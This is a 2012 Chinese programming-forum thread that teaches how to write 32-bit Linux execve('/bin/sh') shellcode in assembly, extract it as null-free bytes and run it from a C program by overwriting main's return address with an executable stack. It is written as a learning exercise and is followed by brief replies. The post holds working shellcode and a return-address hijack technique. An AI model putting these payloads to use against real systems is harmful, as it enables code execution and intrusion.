| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1339 人关注过本帖
标题:在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a s ...
只看楼主 加入收藏
madfrogme
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:21
帖 子:1160
专家分:1106
注 册:2009-6-24
结帖率:98.63%
收藏
已结贴  问题点数:10 回复次数:4 
在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a shell,尽量写的詳細了
写这个一是给别人看,二也是帮助自己理清思路,欢迎吐槽
这是在32位机器下的代码,不是64位

用汇编写linux中的系统调用execve()之前应该man execve一下

说明一下寄存器的使用

int execve(const char *filename, char *const argv[],  char *const envp[]);

1execve 的system call number  11放在 eax中

2filename 的地址放在 ebx中

3 argv 指向的地址放在ecx中

4 envp 指向null地址 ,放在edx中

我的机器上的系统号是在

/usr/include/asm/unistd_32.h

在C中怎样调用execve()
程序代码:
#include <unistd.h>
int main(int argc, char *argv[]){

    char *shell[2];

    shell[0] = "/bin/sh";

    shell[1] = NULL;

    execve(shell[0],shell,NULL);

    return 0;
}


下面则是intel的語法写execve(),文件execve.asm

程序代码:
section .text
    global    _start
_start:
    jmp short    callit          #  'short'不要少了,否则会出现多余的null,跳到callit

shellcode:
    pop                esi    # pop出stack中的字符串地址放入esi中,因为现在开始需要使用了

    xor                eax, eax # 这是很保险的将eax设为0的方法

    mov byte       [esi+7], al # 字符X只是一个place holder,前面已经把eax清0了所以现在使用    
eax最低位的al,把这一个字节的null放在X位置,这句是为下一句做准备

    lea                  ebx, [esi] #这时再把esi(字符串的地址)放入ebx中,这是为execve()的第一个参数做准备

    mov long       [esi+8], ebx #这句最难理解,先看上面C语言版本, 这是为第二个 参数做准
备,esi+8就是AAAA这4个字节的地址。4个字节是32位,我现在要把ebx(里面是字符串的地址)放到AAAA中去,所以说AAAA 也只是一个place holder,为了存放一个32位的地址

    mov long        [esi+12],eax # 这是为第三个参数做准备,将一个32位的null放入place holder的BBBB中

    mov  byte       al,0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中

    mov                ebx, esi # 现在是第一个参数,字符串的位置放入ebx

    lea                   ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了

    lea                   edx, [esi+12] #  最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null

    int                   0x80 

callit:
    call                shellcode

    db                  '/bin/shXAAAABBBB' #把字符串放在这里是为了call shellcode的时候把字符串地址push到stack中


总体说来就是我们准备好各个参数,把它们放到一个字符串里,要用的时候来取就可以了

到现在为止,第一个难关已经攻破,接下来一步是把上面的汇编转为机器码
程序代码:
$ nasm -f elf execve.asm
$ ld -o execve execve.o
$ objdump -d execve

程序代码:
execve:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:    eb 1a                    jmp    804807c <callit>

08048062 <shellcode>:
 8048062:    5e                               pop    %esi
 8048063:    31 c0                    xor    %eax,%eax
 8048065:    88 46 07                 mov    %al,0x7(%esi)
 8048068:    8d 1e                    lea    (%esi),%ebx
 804806a:    89 5e 08                 mov    %ebx,0x8(%esi)
 804806d:    89 46 0c                 mov    %eax,0xc(%esi)
 8048070:    b0 0b                    mov    $0xb,%al
 8048072:    89 f3                    mov    %esi,%ebx
 8048074:    8d 4e 08                 lea    0x8(%esi),%ecx
 8048077:    8d 56 0c                 lea    0xc(%esi),%edx
 804807a:    cd 80                    int    $0x80

0804807c <callit>:
 804807c:    e8 e1 ff ff ff           call   8048062 <shellcode>
 8048081:    2f                               das    
 8048082:    62 69 6e                   bound  %ebp,0x6e(%ecx)
 8048085:    2f                               das    
 8048086:    73 68                        jae    80480f0 <callit+0x74>
 8048088:    58                               pop    %eax
 8048089:    41                           inc    %ecx
 804808a:    41                               inc    %ecx
 804808b:    41                           inc    %ecx
 804808c:    41                               inc    %ecx
 804808d:    42                           inc    %edx
 804808e:    42                               inc    %edx
 804808f:        42                            inc    %edx
 8048090:    42                               inc    %edx

上面几步都是例行公事,这时会发现机器码中没有null

最后是在C文件中执行这块机器码. shell.c
程序代码:
#include <stdio.h>
char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b";
int main(void) {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

int *ret : 在stack上定义了一个指针,它正好在main 函数参数的下方

ret = (int *)&ret + 2; : 我们取ret的地址(int *), 并且这个地址是32位的,再加2的话就表示加了64位,

(为什么是加2,这里是有假设的,假设这是一个x86的32位机器) 最后ret里面的地址是main函数结束时

的返回地址,我们要改定的就是这个返回地址,一般来说main()结束之后则跳回返回地址, 但是

我们把返回地址改写成了shellcode的地址,就是为了main结束时执行shellcode 代码。通过下面这句话

(*ret) = (int)shellcode;

也许对照着下面的图就能明白了吧,local variable (ret)上面的8字节处就是return address,我们改写的就是这个地址
+-------------------------+
|  function arguments     |                                           |
|  (e.g. argv, argc)           |                                           |  (假设stack是向下发展的,从高到低)
+-------------------------+   <-- ss:esp + 12              |  
|  return address              |                                           |
+-------------------------+   <-- ss:esp + 8               V
|  saved ebp register        |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  
|  local variable (ret)       |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

明白esp和ebp之间的关系很重要

最后的最后,编译, 表相信网上说的 gcc -o shell shell.c 神马的,都是骗人的

你需要做的是加上 gcc 的-z execstack 选项
$ gcc  -z execstack -o shell shell.c
$ ./shell

当你成功后就可以把shellcode中最后9个

"\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b"

place holder 拿掉了

也许能有帮助的一些连接

http://www.

http://www.

[ 本帖最后由 madfrogme 于 2012-7-29 13:20 编辑 ]
搜索更多相关主题的帖子: machine include system 
2012-07-29 12:09
pangding
Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19
来 自:北京
等 级:贵宾
威 望:94
帖 子:6784
专家分:16751
注 册:2008-12-20
收藏
得分:5 
你就研究研究怎么在汇编里调用就是了,虽然一般系统调用都是用 c 语言来调用的,但确实所有的系统调用都可以在汇编里调用。
干嘛研究完了又来个导出机器码的 C 语言滥用版本?使得人们无法了解你的研究意图。
2012-07-29 14:29
madfrogme
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:21
帖 子:1160
专家分:1106
注 册:2009-6-24
收藏
得分:0 
回复 2楼 pangding
其实我喜欢搞这种东西主要是以前在backtrack上用过那款入侵测试软件metasploite,当时一直不明白exploite和payload是怎么一回事,后来才知道payload就是一串汇编写的机器码,于是就开始感兴趣了。我倒不是真想用汇编搞开发了,就是喜欢linux下的各种奇技淫巧了Σ( ̄。 ̄ノ)ノ

[ 本帖最后由 madfrogme 于 2012-7-29 18:15 编辑 ]

The quieter you become, the more you can hear
2012-07-29 16:33
信箱有效
Rank: 13Rank: 13Rank: 13Rank: 13
等 级:蒙面侠
威 望:9
帖 子:1102
专家分:4268
注 册:2012-6-19
收藏
得分:5 
奇淫技巧
2012-07-29 16:56
madfrogme
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:21
帖 子:1160
专家分:1106
注 册:2009-6-24
收藏
得分:0 
回复 4楼 信箱有效
看来信箱有效有同感呵

The quieter you become, the more you can hear
2012-07-29 17:15
快速回复:在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spaw ...
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.025122 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved